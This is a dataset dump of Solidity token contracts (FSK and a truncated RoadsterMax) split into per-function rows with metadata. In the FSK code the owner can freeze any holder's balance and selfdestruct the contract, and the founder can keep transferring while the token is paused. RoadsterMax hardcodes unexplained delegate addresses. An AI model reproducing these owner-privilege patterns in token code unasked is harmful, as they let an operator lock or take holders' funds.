contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
FSK
FSK.sol
0xfc1078a7bb4521881663df4148434acd991af14c
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(allowed[_from][msg.sender] >= _value); require(balanceOf(_from) >= _value); require(balances[_to].add(_value) > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
allowance
function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.5.11+commit.c082d0b4
MIT
bzzr://c1365d92e730965b8fe1b4509be387df4ed648522029f0d8aa5202e89110dc5b
{ "func_code_index": [ 2140, 2289 ] }
3,607
FSK
FSK.sol
0xfc1078a7bb4521881663df4148434acd991af14c
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(allowed[_from][msg.sender] >= _value); require(balanceOf(_from) >= _value); require(balances[_to].add(_value) > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
increaseApproval
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */
NatSpecMultiLine
v0.5.11+commit.c082d0b4
MIT
bzzr://c1365d92e730965b8fe1b4509be387df4ed648522029f0d8aa5202e89110dc5b
{ "func_code_index": [ 2542, 2836 ] }
3,608
FSK
FSK.sol
0xfc1078a7bb4521881663df4148434acd991af14c
Solidity
Pausable
contract Pausable is StandardToken { event Pause(); event Unpause(); bool public paused = false; address public founder; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused || msg.sender == founder); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } }
/** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */
NatSpecMultiLine
pause
function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); }
/** * @dev called by the owner to pause, triggers stopped state */
NatSpecMultiLine
v0.5.11+commit.c082d0b4
MIT
bzzr://c1365d92e730965b8fe1b4509be387df4ed648522029f0d8aa5202e89110dc5b
{ "func_code_index": [ 595, 703 ] }
3,609
FSK
FSK.sol
0xfc1078a7bb4521881663df4148434acd991af14c
Solidity
Pausable
contract Pausable is StandardToken { event Pause(); event Unpause(); bool public paused = false; address public founder; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused || msg.sender == founder); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } }
/** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */
NatSpecMultiLine
unpause
function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); }
/** * @dev called by the owner to unpause, returns to normal state */
NatSpecMultiLine
v0.5.11+commit.c082d0b4
MIT
bzzr://c1365d92e730965b8fe1b4509be387df4ed648522029f0d8aa5202e89110dc5b
{ "func_code_index": [ 791, 901 ] }
3,610
FSK
FSK.sol
0xfc1078a7bb4521881663df4148434acd991af14c
Solidity
PausableToken
contract PausableToken is Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } //The functions below surve no real purpose. Even if one were to approve another to spend //tokens on their behalf, those tokens will still only be transferable when the token contract //is not paused. function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } }
approve
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); }
//The functions below surve no real purpose. Even if one were to approve another to spend //tokens on their behalf, those tokens will still only be transferable when the token contract //is not paused.
LineComment
v0.5.11+commit.c082d0b4
MIT
bzzr://c1365d92e730965b8fe1b4509be387df4ed648522029f0d8aa5202e89110dc5b
{ "func_code_index": [ 577, 726 ] }
3,611
FSK
FSK.sol
0xfc1078a7bb4521881663df4148434acd991af14c
Solidity
FSK
contract FSK is PausableToken { string public name; string public symbol; uint8 public decimals; /** * @dev Constructor that gives the founder all of the existing tokens. */ constructor() public { name = "Freesky"; symbol = "FSK"; decimals = 18; totalSupply = 500000000*1000000000000000000; founder = msg.sender; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } /** @dev Fires on every freeze of tokens * @param _owner address The owner address of frozen tokens. * @param amount uint256 The amount of tokens frozen */ event TokenFreezeEvent(address indexed _owner, uint256 amount); /** @dev Fires on every unfreeze of tokens * @param _owner address The owner address of unfrozen tokens. * @param amount uint256 The amount of tokens unfrozen */ event TokenUnfreezeEvent(address indexed _owner, uint256 amount); event TokensBurned(address indexed _owner, uint256 _tokens); mapping(address => uint256) internal frozenTokenBalances; function freezeTokens(address _owner, uint256 _value) public onlyOwner { require(_value <= balanceOf(_owner)); uint256 oldFrozenBalance = getFrozenBalance(_owner); uint256 newFrozenBalance = oldFrozenBalance.add(_value); setFrozenBalance(_owner,newFrozenBalance); emit TokenFreezeEvent(_owner,_value); } function unfreezeTokens(address _owner, uint256 _value) public onlyOwner { require(_value <= getFrozenBalance(_owner)); uint256 oldFrozenBalance = getFrozenBalance(_owner); uint256 newFrozenBalance = oldFrozenBalance.sub(_value); setFrozenBalance(_owner,newFrozenBalance); emit TokenUnfreezeEvent(_owner,_value); } function setFrozenBalance(address _owner, uint256 _newValue) internal { frozenTokenBalances[_owner]=_newValue; } function balanceOf(address _owner) view public returns(uint256) { return getTotalBalance(_owner).sub(getFrozenBalance(_owner)); } function getTotalBalance(address _owner) view public returns(uint256) { return balances[_owner]; } /** * @dev Gets the amount of tokens which belong to the specified address BUT are frozen now. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount of frozen tokens owned by the passed address. */ function getFrozenBalance(address _owner) view public returns(uint256) { return frozenTokenBalances[_owner]; } /* * @dev Token burn function * @param _tokens uint256 amount of tokens to burn */ function burnTokens(uint256 _tokens) public onlyOwner { require(balanceOf(msg.sender) >= _tokens); balances[msg.sender] = balances[msg.sender].sub(_tokens); totalSupply = totalSupply.sub(_tokens); emit TokensBurned(msg.sender, _tokens); } function destroy(address payable _benefitiary) external onlyOwner{ selfdestruct(_benefitiary); } }
getFrozenBalance
function getFrozenBalance(address _owner) view public returns(uint256) { return frozenTokenBalances[_owner]; }
/** * @dev Gets the amount of tokens which belong to the specified address BUT are frozen now. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount of frozen tokens owned by the passed address. */
NatSpecMultiLine
v0.5.11+commit.c082d0b4
MIT
bzzr://c1365d92e730965b8fe1b4509be387df4ed648522029f0d8aa5202e89110dc5b
{ "func_code_index": [ 2596, 2728 ] }
3,612
FSK
FSK.sol
0xfc1078a7bb4521881663df4148434acd991af14c
Solidity
FSK
contract FSK is PausableToken { string public name; string public symbol; uint8 public decimals; /** * @dev Constructor that gives the founder all of the existing tokens. */ constructor() public { name = "Freesky"; symbol = "FSK"; decimals = 18; totalSupply = 500000000*1000000000000000000; founder = msg.sender; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } /** @dev Fires on every freeze of tokens * @param _owner address The owner address of frozen tokens. * @param amount uint256 The amount of tokens frozen */ event TokenFreezeEvent(address indexed _owner, uint256 amount); /** @dev Fires on every unfreeze of tokens * @param _owner address The owner address of unfrozen tokens. * @param amount uint256 The amount of tokens unfrozen */ event TokenUnfreezeEvent(address indexed _owner, uint256 amount); event TokensBurned(address indexed _owner, uint256 _tokens); mapping(address => uint256) internal frozenTokenBalances; function freezeTokens(address _owner, uint256 _value) public onlyOwner { require(_value <= balanceOf(_owner)); uint256 oldFrozenBalance = getFrozenBalance(_owner); uint256 newFrozenBalance = oldFrozenBalance.add(_value); setFrozenBalance(_owner,newFrozenBalance); emit TokenFreezeEvent(_owner,_value); } function unfreezeTokens(address _owner, uint256 _value) public onlyOwner { require(_value <= getFrozenBalance(_owner)); uint256 oldFrozenBalance = getFrozenBalance(_owner); uint256 newFrozenBalance = oldFrozenBalance.sub(_value); setFrozenBalance(_owner,newFrozenBalance); emit TokenUnfreezeEvent(_owner,_value); } function setFrozenBalance(address _owner, uint256 _newValue) internal { frozenTokenBalances[_owner]=_newValue; } function balanceOf(address _owner) view public returns(uint256) { return getTotalBalance(_owner).sub(getFrozenBalance(_owner)); } function getTotalBalance(address _owner) view public returns(uint256) { return balances[_owner]; } /** * @dev Gets the amount of tokens which belong to the specified address BUT are frozen now. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount of frozen tokens owned by the passed address. */ function getFrozenBalance(address _owner) view public returns(uint256) { return frozenTokenBalances[_owner]; } /* * @dev Token burn function * @param _tokens uint256 amount of tokens to burn */ function burnTokens(uint256 _tokens) public onlyOwner { require(balanceOf(msg.sender) >= _tokens); balances[msg.sender] = balances[msg.sender].sub(_tokens); totalSupply = totalSupply.sub(_tokens); emit TokensBurned(msg.sender, _tokens); } function destroy(address payable _benefitiary) external onlyOwner{ selfdestruct(_benefitiary); } }
burnTokens
function burnTokens(uint256 _tokens) public onlyOwner { require(balanceOf(msg.sender) >= _tokens); balances[msg.sender] = balances[msg.sender].sub(_tokens); totalSupply = totalSupply.sub(_tokens); emit TokensBurned(msg.sender, _tokens); }
/* * @dev Token burn function * @param _tokens uint256 amount of tokens to burn */
Comment
v0.5.11+commit.c082d0b4
MIT
bzzr://c1365d92e730965b8fe1b4509be387df4ed648522029f0d8aa5202e89110dc5b
{ "func_code_index": [ 2838, 3122 ] }
3,613
RoadsterMax
RoadsterMax.sol
0x473dece969141b8456569de1dc2fc755a355093c
Solidity
ERC20Interface
contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
totalSupply
function totalSupply() public view returns (uint);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://3a26421ae0e48c34a35d27189514e78f2aed270bd153d213d15b3c7683e1f791
{ "func_code_index": [ 101, 154 ] }
3,614
RoadsterMax
RoadsterMax.sol
0x473dece969141b8456569de1dc2fc755a355093c
Solidity
ERC20Interface
contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
balanceOf
function balanceOf(address tokenOwner) public view returns (uint balance);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://3a26421ae0e48c34a35d27189514e78f2aed270bd153d213d15b3c7683e1f791
{ "func_code_index": [ 233, 310 ] }
3,615
RoadsterMax
RoadsterMax.sol
0x473dece969141b8456569de1dc2fc755a355093c
Solidity
ERC20Interface
contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
allowance
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://3a26421ae0e48c34a35d27189514e78f2aed270bd153d213d15b3c7683e1f791
{ "func_code_index": [ 585, 681 ] }
3,616
RoadsterMax
RoadsterMax.sol
0x473dece969141b8456569de1dc2fc755a355093c
Solidity
ERC20Interface
contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transfer
function transfer(address to, uint tokens) public returns (bool success);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://3a26421ae0e48c34a35d27189514e78f2aed270bd153d213d15b3c7683e1f791
{ "func_code_index": [ 901, 977 ] }
3,617
RoadsterMax
RoadsterMax.sol
0x473dece969141b8456569de1dc2fc755a355093c
Solidity
ERC20Interface
contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
approve
function approve(address spender, uint tokens) public returns (bool success);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://3a26421ae0e48c34a35d27189514e78f2aed270bd153d213d15b3c7683e1f791
{ "func_code_index": [ 1637, 1717 ] }
3,618
RoadsterMax
RoadsterMax.sol
0x473dece969141b8456569de1dc2fc755a355093c
Solidity
ERC20Interface
contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transferFrom
function transferFrom(address from, address to, uint tokens) public returns (bool success);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://3a26421ae0e48c34a35d27189514e78f2aed270bd153d213d15b3c7683e1f791
{ "func_code_index": [ 2027, 2121 ] }
3,619
RoadsterMax
RoadsterMax.sol
0x473dece969141b8456569de1dc2fc755a355093c
Solidity
TokenERC20
contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public pool; address public DelegateX = 0x461D0FA21294FB36b052d84002B81C42Eb978E2F; address public DelegateY = 0xa316bfEFC8073655d59a9DAfcf38e89937d51fC8; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "RMAX"; name = "Roadster Max"; decimals = 18; _totalSupply = 2000000000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues 